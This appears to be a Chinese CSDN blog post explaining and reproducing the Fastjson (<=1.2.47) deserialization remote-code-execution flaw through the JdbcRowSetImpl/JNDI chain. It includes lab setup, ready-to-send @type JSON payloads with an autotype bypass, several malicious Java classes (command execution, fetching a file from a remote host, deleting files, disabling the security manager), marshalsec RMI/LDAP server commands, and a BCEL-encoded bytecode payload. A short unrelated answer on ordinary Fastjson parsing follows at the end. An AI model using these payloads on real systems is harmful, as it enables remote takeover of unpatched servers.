FastJson反序列化

概述

Fastjson允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名。Fastjson自定义的反序列化机制时会自动调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

原理

反序列化的利用本质:
找到一条有效的攻击链,攻击链的末端就是有代码执行能力的类,来达到我们想做的事情,一般都是用来RCE(远程命令执行)。
构造一个触发器,也就是通过什么方式来让攻击链执行你想要的代码。触发器可以通过很多方式,比如静态代码块、构造方法等等。

这个时候我们可以考虑指定某些类,来远程调用一些恶意的类来实现RCE
这个时候可以考虑JNDI注入,JDNI是有sun提出的一个规范,全称是“命名和目录提供程序”(Naming and Directory Providers),用来解耦应用,让整个程序更便于扩展、部署以及应用。
JDNI底层可以驱动一系列的远程对象,例如RMI、LDAP等等,
如RMI(Remote Method Invocation)远程方法调用,是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。
1、运行了RMI的一端可以被称为“RMIServer”,用来提供可被远程调用的方法,这个过程称为“注册”,
     然后通过http服务并把已经编译好的serialize.Exploit.class放到响应的目录供客户端获取。
这里就体现了RMI的核心,RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class。
2、客户端通过lookup()方法请求服务端,根据RMI请求返回的结果来再次通过http获取所需的factory类并进行实例化


小结一下就是,如果要成功利用这个lookup()来做一些事,就必须要以下条件:
1、lookup()的参数是我们能控制的;
2、远程URL是我们能控制的;


接下来就是找到一条利用链
JdbcRowSetImpl的利用链
1、找到JdbcRowSetImpl中调用了lookup()方法的函数;
在com.sun.rowset.JdbcRowSetImpl.class中的connect()中调用了looup(),并且looup的参数是通过getDataSourceName()方法获取到的,这一点很关键,需要确认这个get的结果是否是我们可控的。
1.1、确认getDataSourceName()方法的传值;
javadoc里面写明了DataSource是通过setDataSourceName来设置的,也就是dataSource属性的set和get方法;
2、找到调用connect()方法的函数;
可通过setAutoCommit()方法用来设置autoCommit属性的值,传值是一个boolean。只要能设置autoCommit就能调用set方法,而setAutoCommit()方法里面又调用了connect(),connent里面就有我们需要的lookup()。


总结
1、驱动JdbcRowSetImpl库;
2、通过设置dataSourceName属性传参给lookup()方法;
3、通过设置autoCommit属性来触发执行最终的lookup()方法。
按照上面的例子,就可以构造出:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.76.133:1099/Exploit","autoCommit":true}

环境搭建

方式一

1拉取镜像 

docker pull rightctrl/tomcat

 2映射到我服务器8080端口

docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat

3访问http://127.0.0.1:8080/

4、将fastjson复制到在tomcat上

文件解压后,直接复制到tomcat的webapps目录下

docker cp fastjson  tomcat:/usr/opt/tomcat/webapps/ //复制相关文件到docker
docker exec -i -t tomcat /bin/bash  //进入容器查看相关文件

5访问http://ip:8080/fastjson1.2.47/

或者直接拉取vulhub相关镜像 vulhub/fastjson:1.2.45 注意该镜像默认端口为8090

方式二本地搭建

1下载tomcat文件 Index of /dist/tomcat/tomcat-8

2配置:下载完解压后,在bin目录下运行cmd命令 service install,之后可打开tomcat8w.exe控制端启动服务器。

3将fastjson复制到在tomcat上webapp目录上

4启动服务器

漏洞利用

JDNI注入的方式复现Fastjson反序列化远程代码漏洞利用过程。流程示意图:

 值得注意的是这里利用RMI/LDAP协议要注意jdk的版本,否则会利用失败

方式一

利用JNDI注入工具执行命令注入,

 向目标服务器传递json数据

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.56.101:1099/bqzw7x",
        "autoCommit":true
    }
}

 查看服务器

方式二 高级利用

1编译生成恶意类Exp.class

这里提供几种恶意代码

public class Exp{
    public Exp(){
        try {
			Runtime.getRuntime().exec("touch /tmp/success");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exp e = new Exp();
    }
}
//新线程版本
public class Exp extends Thread{
    static {
        Thread t = new Exp();
        t.start();
    }
    public void run(){
            try {
            Runtime.getRuntime().exec("touch /tmp/success");
            } catch (Exception e) {
                e.printStackTrace();
            }
    }
}
//远程下载写入文件
import java.net.*;
import java.io.*;
import java.nio.*;
import java.nio.channels.*;
import java.lang.*;
public class Exp{
    public Exp(){
        try {
			URL website = new URL("http://192.168.56.101:8080/123");
			ReadableByteChannel rbc = Channels.newChannel(website.openStream());
			FileOutputStream fos = new FileOutputStream("/tmp/123");
			fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exp e = new Exp();
    }
}
//删除文件
import java.net.*;
import java.io.*;
import java.nio.*;
import java.nio.channels.*;
import java.lang.*;
public class Exp{
    public Exp(){
        try {
			File textFile = new File("/tmp", "yztest.sh");
			textFile.delete();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exp e = new Exp();
    }
}
//关闭JAVA模式
import java.net.*;
import java.io.*;
import java.nio.*;
import java.nio.channels.*;
import java.lang.*;
public class Exp{
    public Exp(){
        try {
			SecurityManager sm = new SecurityManager();
            System.setSecurityManager(null);
			sm = System.getSecurityManager();
			if (sm == null)
				Runtime.getRuntime().exec("touch /tmp/get");
 
			else
				Runtime.getRuntime().exec("touch /tmp/fail");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exp e = new Exp();
    }
}

2 使用python搭建一个临时的web服务

python -m SimpleHTTPServer  4444

3 借助marshalsec项目,启动一个RMI/LDAP服务器,监听5555端口,并制定加载远程类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:4444/#Exp 5555

4 向目标服务器传递json数据

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:5555/Exp",
        "autoCommit":true
    }
}

5查看执行结果

彩蛋

利用Fastjson v1.2.24版本漏洞,直接执行BECL编码后的Java字节码,执行 touch  /tmp/success命令

环境

tomcat:7.0.99-openjdk-8.0.232

FastJSON 1.2.24

1生成BECL字节码

$ "c:\Program Files\Java\jdk1.7.0_01\bin\java" -jar deser.jar bcel ..\..\production\deser\Exec.class
type: bcel
evil: ..\..\production\deser\Exec.class
com.sun.org.apache.bcel encode:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91MO$db$40$Q$86$dfM$9c$f8$D$87$90$d0P$u$b4MK$3f$S$O$f5$81$p$a8$97$K$qT$f3$a1$s$K$e7$cdv$95$y$qv$e4$ac$x$feQ$cf$5ch$c5$81$l$c0$8fB$cc$$$81F$w$96$3c$e3yg$e6$99$Z$f9$f6$ee$fa$G$c06$3e$F$f0$f02$c0$w$d6$3c$bc2$7e$dd$c5F$80$S$5e$bbx$e3$e2$zCyW$rJ$7fe$u$b6$da$3d$G$e7$5b$faS2Tc$95$c8$a3$7c$dc$97Y$97$f7G$a4$d4$e3T$f0Q$8fg$ca$c43$d1$d1C5$rF$bcw$n$c5$O$83$b7$xF3$i$a3t$p$3e$e3$bfx$a4$d2$e8$e0x$efB$c8$89ViBe$95$8e$e6$e2$fc$90O$y$866b$I$3ai$9e$J$b9$af$M$d67$b8$_$a67$84$8f$c0E3$c4$3b$bc$a7$rt$9a$8ba3$d2$e3I4$cd$85$90$d3i$88M$7c$60X$7efR$88$8f$IhICcX$b2$V$p$9e$M$a2$e3$fe$99$U$9a$a1$f6O$fa$91$tZ$8div0$90$fa$vh$b4$da$f1$7f5t$80$p$z$f2sk$$$db$d1$99J$G$3b$f3$N$tYjV$a4$86$ea$84$92$da$9e$dd$cd$b8$90t$8eK$bf$c6$3c$F0s$q$d9$F$8a$o$f2$8c$7ci$eb$P$d8$a5M$87d$cbV$y$a2B6$7c$u$c0$o$aa$e4$3d$y$3d5s$L$D$ea$7fQ$a8$X$af$e0$9c$fe$86$f7$7d$eb$K$e5K$ab$fb$d4$5b$o$8a$n$ae$d0$97$e1$faVu$89$ec$a1F$a4$c7$J$V8$U$d7$vZ$a6$d7E$nv$f1$c2$a1D$c3$$$b5r$P$3f$90$w$Dd$C$A$A

2发送数据 

{
    {
        '@type':"com.alibaba.fastjson.JSONObject",
        'a':
        {
            '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
            'driverClassLoader':
            {
                '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
            'driverClassName':'$$BCEL$$$l$8b...$A$A'
        }
    }:'b'
}

参考

超详细的Fastjson<=1.2.47反序列化漏洞复现 - 云+社区 - 腾讯云

(环境搭建+复现)Fastjson1.2.47版本反序列化漏洞复现_daxi0ng的博客-CSDN博客_fastjson反序列化漏洞

Fastjson反序列化漏洞利用原理和POC_u012990687的专栏-CSDN博客_fastjson poc

Central Repository: com/alibaba/fastjson

Fastjson BasicDataSource攻击链简介 – 绿盟科技技术博客

基于JdbcRowSetImpl的Fastjson RCE PoC构造与分析 – 绿盟科技技术博客

fastjson结合JdbcRowSetImpl反序列化利用理解 - 知乎

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fastjson是一个Java语言编写的高性能JSON处理库,可以实现JSON字符串与Java对象之间的相互转换。在Fastjson中,反序列化就是将JSON字符串转换为Java对象的过程。 要进行Fastjson反序列化,首先需要将JSON字符串作为输入,然后使用Fastjson提供的API将其转换为Java对象。以下是一个简单的示例代码: ```java import com.alibaba.fastjson.JSON; public class FastjsonExample { public static void main(String[] args) { String jsonString = "{\"name\":\"Alice\",\"age\":25}"; // 将JSON字符串反序列化为Java对象 Person person = JSON.parseObject(jsonString, Person.class); System.out.println(person.getName()); // 输出:Alice System.out.println(person.getAge()); // 输出:25 } } class Person { private String name; private int age; // 省略构造函数和其他方法 // Getter和Setter方法 } ``` 在上述示例中,首先定义了一个Person类,该类包含了name和age两个属性。然后,使用`JSON.parseObject`方法将JSON字符串`jsonString`反序列化为Person对象。 需要注意的是,Fastjson会根据属性名匹配JSON中的字段,并将对应字段的值赋给属性。因此,在进行反序列化时,要确保Java类的属性名与JSON中的字段名一致,或者使用`@JSONField`注解来指定字段名和属性名之间的映射关系。 以上就是使用Fastjson进行反序列化的基本步骤和示例代码。希望能对你有所帮助!如果有更多问题,请继续提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值